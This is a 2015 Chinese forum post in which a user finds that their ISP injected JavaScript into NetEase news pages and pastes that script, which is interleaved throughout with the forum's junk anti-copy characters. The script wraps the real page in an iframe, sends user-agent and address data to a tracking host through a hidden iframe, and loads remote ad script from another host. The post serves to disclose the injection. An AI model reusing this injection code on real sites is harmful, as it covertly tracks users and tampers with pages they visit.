|
|
本帖最后由 hudba 于 2015-2-3 00:56 编辑
1 M# _" z4 L, T. R: _# p, J2 z0 S# x- B
上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了# b; v- K. e; }
3 J; x3 d/ p6 k8 J. D! G
接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}! L! D+ Z8 G" P, s
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197 + P1 u. W! b; r+ c2 }
: M' z+ i9 A2 r4 w
顺便查下ip138:& m: c% F L' x; J% K
) Z W6 m% Z) w2 k这是那段js里面的代码,好象是个半成品还没写入广告数据:
( ~3 `: N8 o1 U) o- function locationSearch() {
6 s& f' |0 Y8 C' m7 R - var s = getMainJs();, ]$ y% w a, H; K
- if (s == null) {
N% A& c1 I! r# m2 i - location.reload();
( I: {% Y+ r8 f! z! w - }/ e9 G* g C6 P$ i2 P9 o' |
- return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);9 S7 J6 Z0 Z$ i9 j' X" I3 u
- }, r( h" t' M$ H) }
1 b u9 U. ?/ i( P- function getParameter(name, paraStr) {
" v3 y9 T+ m K$ P4 S. K% ]. O" j/ V - var result = "";2 d$ O+ i" g: |' @& K
- var str = "&" + paraStr.split("?")[1];
$ L$ U8 a2 a5 B! d" c& k: J; o - var paraName = "&" + name + "=";7 E2 u% ]4 Y" y# S Y. R/ W
- if (str.indexOf(paraName) != -1) {
% V# E* ~' ~: b% e, y - if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {2 Y4 N. T4 {* f" {
- var TmpStr = str.substring(str.indexOf(paraName), str.length);6 \; { ` z( m( j- U
- result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
8 ?9 T- j2 ~4 p) M: n" t - 1, TmpStr.length).indexOf("&")
& }3 c1 }: {. ]. r. o7 I - - TmpStr.indexOf(paraName) + 1);
8 l% B$ X! K( s - } else {
/ X) Q P$ B, {5 S3 I; q' P - result = str.substring(str.indexOf(paraName), str.length);
/ }2 A8 }2 a! n2 n( V! U - }
6 l4 ]( z0 \4 W. k6 \% ~
; G9 t) h, f7 @. Y$ Q; W' N- result = result.substring(result.indexOf("=") + 1, result.length);
" l5 z p: I8 ~# b$ j - } else {- \- e* ]- s/ L6 H% P6 ]; V
- result = "No such parameter";. {% K5 |# S- R1 x6 s9 G$ W
- }
& M/ \. |+ N. R* F - return (result.replace("&", ""));/ ]; {# m7 }$ G; K. {% p/ n) A
- }, ^& `8 |- ~: {0 l* @
- 5 x" l# f, E: _$ P
- function getMainJs() {( U" k( n* C& W0 I6 s5 q9 k8 o: B
- var scripts = document.getElementsByTagName("script");
5 ~+ X$ J) Z5 ~1 Y. L# K3 ^5 s( J - var s = null;
( f9 _2 }5 y2 c) S8 r# |4 x0 w - for (var i = 0; i < scripts.length; i++) {7 I3 f: n9 T6 o: V
- if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
- p5 ?8 h, |+ ?6 B" z# G - s = scripts[i];6 n+ D4 X* A* q5 i8 N$ K, \
- break;
2 I4 U4 T1 _/ f) p. f) M U6 Y" R% T - }* x& ~. `) B6 G {* O }1 U
- }' T0 |- s& {# q9 O1 Q& z
- return s;- r% g$ [& k+ I8 j1 U r4 p! P7 p
- }
4 F8 x) M- n) M
0 \: e. u; L2 c5 j- function appendParam(oStr, aStr) {
& x" ^# E4 G, u& N( R - if (oStr.indexOf('?') > 0) {% h( C# f& j1 o% K8 p
- oStr = oStr + "&" + aStr;
d9 t' J0 T3 A* I9 i - } else {& I i- N- o& v& d* q
- oStr = oStr + "?" + aStr;
2 e& W( i& }& [, ^4 r8 u" Q - }4 Q4 ~3 [4 Y. E$ G, X
- return oStr;
$ _2 h; m1 J+ v# A: U. P; R& J - }
" Q& i. k: k6 ]
7 H$ v. f. X3 l& r2 H3 q& A- window.onerror = function() {, M0 k5 N& j( E; m$ y" d+ B
- };8 `+ i3 y# [1 w0 i- X6 x0 n
7 m5 y' J J1 Y. ?3 R7 @- var g_titleTime = 0;
: U, f! b) o1 j - function setTcTitle() {
- Q, \% b/ M) J: q, G- e# G - if (undefined == document) {
3 V. \2 |8 ]5 V7 D" q9 e - g_titleTime++;
, b! T. R9 f' a1 n+ o. a - setTimeout("setTcTitle();", 1000);
2 G) J2 W7 c h1 W5 Q" H - return;( i3 X* |# {* }& q
- }
& ?3 ?. ?' M& B* L, o, i
6 C( @( {+ z) t W- var doc;
) W/ G% ~- r' ]$ Z$ b - try {
) f, }7 S6 O' Y4 S6 M; e - if (document.all) {
. C) j% z+ n7 }6 F - doc = document.frames["cn"].document;
- x/ |, P% v; o" m- k - } else {
2 f1 Q( `& b$ s7 C# E l - doc = document.getElementById("cn").contentDocument;- @5 W' R" m- P1 L
- }$ ^5 _ B5 L4 l h% G4 u
- } catch (ex) {; X% y, y2 i4 P
- }
. N; Y, R/ Y, R! X - 3 H9 q* L u! \+ c7 u' O
- if (g_titleTime < 5
4 [- ?! t9 r8 n, t: ^ - && (undefined == doc || undefined == doc.title || "" == doc.title)) {/ w* x. ]9 U+ e% r5 |# V: A
- g_titleTime++;
' L0 E0 l- ]! H- g. @* O& N- a3 s7 | - setTimeout("setTcTitle();", 1000);7 Q4 R! u1 H: Q! _2 l% G3 P3 @
- return;; L# B0 m2 e* p3 S) N! w$ ?, ]
- } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
" Y5 e& P& B/ L* O/ }# U' ]/ g5 { - document.title = doc.title;$ X5 _& e! t0 s W* f! p, ~5 d
- setTcAdvVisible();% P# v3 }6 {. \( O1 y% i
- }1 w1 S4 U: }9 w
- }
G/ g0 t. k! Q1 H- M& N% ?; |
0 U7 M. f+ i7 d$ t- `- setTimeout("setTcTitle();", 1000);
8 J$ c/ O2 ~/ ]( ]$ z
9 I5 J2 P' a( {5 @% ]) C3 B- var g_isHaveVisible = false;
F% ~# P4 |* R& ? n5 _ - function setTcAdvVisible() {2 }7 n% P3 K5 a* G0 p
- if (undefined != document && undefined != document.getElementById("addiv")
0 V; m S X0 A - && !g_isHaveVisible) {
! a$ A r9 p( b" g+ M; h - document.getElementById("addiv").style.visibility = 'visible';
3 g; F% x7 T. V - document.getElementById("addiv").style.display = 'block';
: d9 v' H+ @4 ]9 A, d - g_isHaveVisible = true;, F+ x9 t3 F% ]; F8 t$ h; o
- }8 Q0 B; N) @! @+ p( |9 a* C
- }
9 \1 p {1 s9 Z# L$ x% x6 }
$ z. Z2 J4 N5 K0 X/ X Q# @- function UrlAnalyzer() {; B+ N5 L. E, d1 @8 \
- this.divda = "";
. E( g; w9 f8 o/ E - this.tctype = "";
5 B- B1 @9 d( y! H# \% [% x4 f - this.radius = "";1 q' O8 g& P- G+ p
- this.rlu = "";
; F+ K% C! S% x1 | - }
0 d. t2 z& W1 e7 n. k7 P - % N# I; x4 Z& i; P
- UrlAnalyzer.prototype.initParameters = function() {
3 z1 T" ]4 ]& V- N5 \ - var paraStr = locationSearch();
% i& u+ T- J5 U, b - this.rlu = getParameter("lruedct", paraStr);! `+ P. O, S6 u2 E2 ]$ C9 k
- this.divda = getParameter("divda", paraStr);5 t! f8 n2 L+ V7 ?* L' r, X
- this.radius = getParameter("radius", paraStr);
+ E( a: B; e0 r: i: ?) a - this.tctype = getParameter("tctype", paraStr);
" s% \$ ~+ i; X( [& C/ W - this.address = getParameter("address", paraStr);
8 j1 L+ Q- M0 B. w4 A4 g( ^+ Z - this.usagent = getParameter("usagent", paraStr);
5 H$ B) G L& F6 t3 B+ r - } m8 q: o" n+ H6 V o9 A% F
- j- O- w3 x& o" j! P- UrlAnalyzer.prototype.getHtmlDoc = function() {6 U$ O2 d6 \: `) k& T* A7 m3 n
- var doc;* k; Z9 E: U0 S. v
- try {
{% K+ U. ~) T- X- v' P' i0 l - if (document.all) {5 b# q4 V. }# O1 O" P) \! @9 i
- doc = document.frames["cn"].document;
0 a. `: `( ^) Q5 y
`1 X6 R% m- S% J* p- } else {
0 H2 s" n' |* z2 p9 U9 C4 W - doc = document.getElementById("cn").contentDocument;
6 @+ O$ Z8 X' B) ~. [ - // doc = document.getElementById("cn").contentWindow.document;' ?9 T% U2 y& d" `8 ?
- }: A# W8 ^9 z. h& T* P
- } catch (ex) {( e z- Y* k7 O' ?
- }" V+ r/ E/ _: [& |3 ~7 }9 f
- return doc;
( C' }4 m% d% N - }4 q2 z5 ^ E% n# E7 _ X
* [- W1 s* f9 ~! G- UrlAnalyzer.prototype.setDomain = function() {
' o! x4 H( n2 j0 m) M$ D$ T, V - if (undefined != document.title && "" == document.title)
; v+ P9 o( U. P( J - {
; H0 }2 _8 J2 | - var index = document.domain.indexOf(".");
; }& h7 Y- w; ? - if (undefined != index && -1 != index) {
7 U: s8 F% N, x5 v8 I) ] - document.domain = document.domain.substring(index + 1,! S; [* M) E; T7 g) d" ]7 d8 r. X( [
- document.domain.length);: g( i0 `+ c9 Y. v5 z
- }
; g& o/ e0 h+ m' \' k+ H -
- C+ O2 \! c. b8 R: I - var doc = this.getHtmlDoc();
3 L, y) d$ t+ V8 d& _+ l - if (undefined != doc && undefined != doc.title && "" != doc.title) {
3 f/ z) C1 G' \7 b - document.title = doc.title;3 x$ _0 O- ?' P* [4 P0 n6 J( V& w. |
- setTcAdvVisible();
k2 Y2 ~0 M5 E; Q8 Q - }
[- f+ H6 w2 r - }
, T- U5 k% z9 f; n - }
5 T4 a& ?" W( m+ [4 n6 a/ O
4 u- R" w( p6 W2 g5 y9 C8 w% \* T- UrlAnalyzer.prototype.iframeCallback = function() {4 S1 X5 Z! t5 p# i
- var doc = this.getHtmlDoc();3 m5 f5 V& w* `. W s
- if (undefined == doc || undefined == doc.title || "" == doc.title) {# ]5 L* t0 R) @; P! N+ s
- if (undefined != document.domain) {5 v5 s3 O: y5 v" z
- & u3 A/ n V& q- U6 w( ]+ u
- var self = this; o% V5 [! ]* @3 c4 A
- setTimeout(function(){self.setDomain.call(self, null)}, 1000);
; d% l2 L+ a$ ~ - // var index = document.domain.indexOf(".");0 Z( h8 F, g( b
- // if (undefined != index && -1 != index) {# y; b# f3 F# B9 N
- // document.domain = document.domain.substring(index + 1,2 {" F Y$ w$ J9 a+ t# a
- // document.domain.length);, w! N# a _! B j* y4 E9 |
- // }
. x1 e% G% z0 C' X4 t1 V2 c - //
) i' U# w' r' J7 Z - // var doc = this.getHtmlDoc();
& q7 }+ H2 U! }; [+ z - // if (undefined != doc && undefined != doc.title && "" !=
, [" [8 o c5 W* q3 I. b - // doc.title) {
5 H4 K3 v4 a6 p. r' `( i0 c3 M - // document.title = doc.title;' C( Q `! \4 O) X+ s N
- // setTcAdvVisible();
/ T9 r- D6 n' W/ E2 b+ }5 w - // }
7 J, M9 n" P3 J3 W: {* h* C - }3 Y$ p1 {1 g5 }+ G/ c K" S
- } else if (undefined != doc && undefined != doc.title && "" != doc.title) {' L% o0 \* t$ l1 i& c
- document.title = doc.title;3 T) a. E' l9 ~1 k. {% G) n
- setTcAdvVisible();
6 E; i) V* ^: s3 a% h7 \+ ~ - }
- O9 Y7 n& ~! c+ ~% S: ~9 j - }
$ e6 T# M/ p$ C" C* ]% q& P( L - - s; B' G0 m9 N7 t5 |2 L h8 }
- UrlAnalyzer.prototype.executeHtmlContext = function() {! P9 M* \% q& B- e0 w$ r' A
- var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
' N, q! y1 d' d+ \ - + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;
$ X+ w: r$ L/ j/ ?8 a0 k% g" I
% j/ u" A# X, H0 T# J5 |- var htmlStr = "<iframe src="" + staUrl
- |# I9 r; Q/ g - + "" style="display:none"></iframe>";8 K+ f% z. l* T) P
. ^' N5 c |& P" ]. n- n/ ]; z. J- var advUrl = htmlStr
/ j& Y5 }* @$ m, ]3 L - + "<script src="http://c2.sxite.com:8060/center?advId="9 |& D# W- Y5 I
- + this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";
3 c4 i* q4 q: N - document.write(advUrl);
% v# ~' e3 K0 K. Q9 P! R
4 i$ K7 E" R5 e& J- var self = this;& P6 T! l; v" g# w8 X, g. t) Z; d
- var iframe = document.getElementById("cn");
Y( x3 s- p+ h: l. u7 ~ - if (iframe.attachEvent) {# m2 b; ]/ P" J- M+ F( s* W
- iframe.attachEvent("onload", function() {
, F+ N4 |, Z2 y1 ^( Q( ]8 U - self.iframeCallback.call(self, null);
# q; a* d" @& P" e1 T$ R1 V - });
& S! \, c7 ?8 s( m& g4 j - } else {
% L: U- b$ [' ]0 Z3 M2 Y7 ^ - iframe.onload = function() {
% f! n/ B) \) R. B9 a0 [- l - self.iframeCallback.call(self, null);
8 n5 }- k3 y: c5 y$ `0 h" I% H - }
\8 p! K* X- h# |2 c - }
- g* e, r8 A, j8 g4 p- F# B - }2 I `- I5 |2 R4 d2 r7 U% A9 A
+ m( V1 m/ W# X& z( J( i- UrlAnalyzer.prototype.executeMain = function() {3 R1 o' r" d, k! P
- var mainFrame = document.getElementById("cn");
* A3 g% W5 w- `- \ - mainFrame.contentWindow.location.href = mainFrame.src;
1 D# R6 c2 R5 o @# } - this.initParameters();
0 a( g5 s5 t/ x: \+ J5 q X& j - this.executeHtmlContext();
$ |' F0 Z2 d; D - }! k+ O n, T2 A% [
9 ?, C/ B V+ w1 J8 Y- var g_analyzer = new UrlAnalyzer();
. Q2 |) l1 F3 H3 f4 W* u0 H- a) J7 } - g_analyzer.executeMain();
& m$ n/ |/ i+ b# b2 ~0 |
复制代码 " ]; g+ U# R" ]0 @
1 K2 G5 t; } X/ J( R* W+ Y5 Y; g* _
6 u3 A; ^- h% o2 _
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|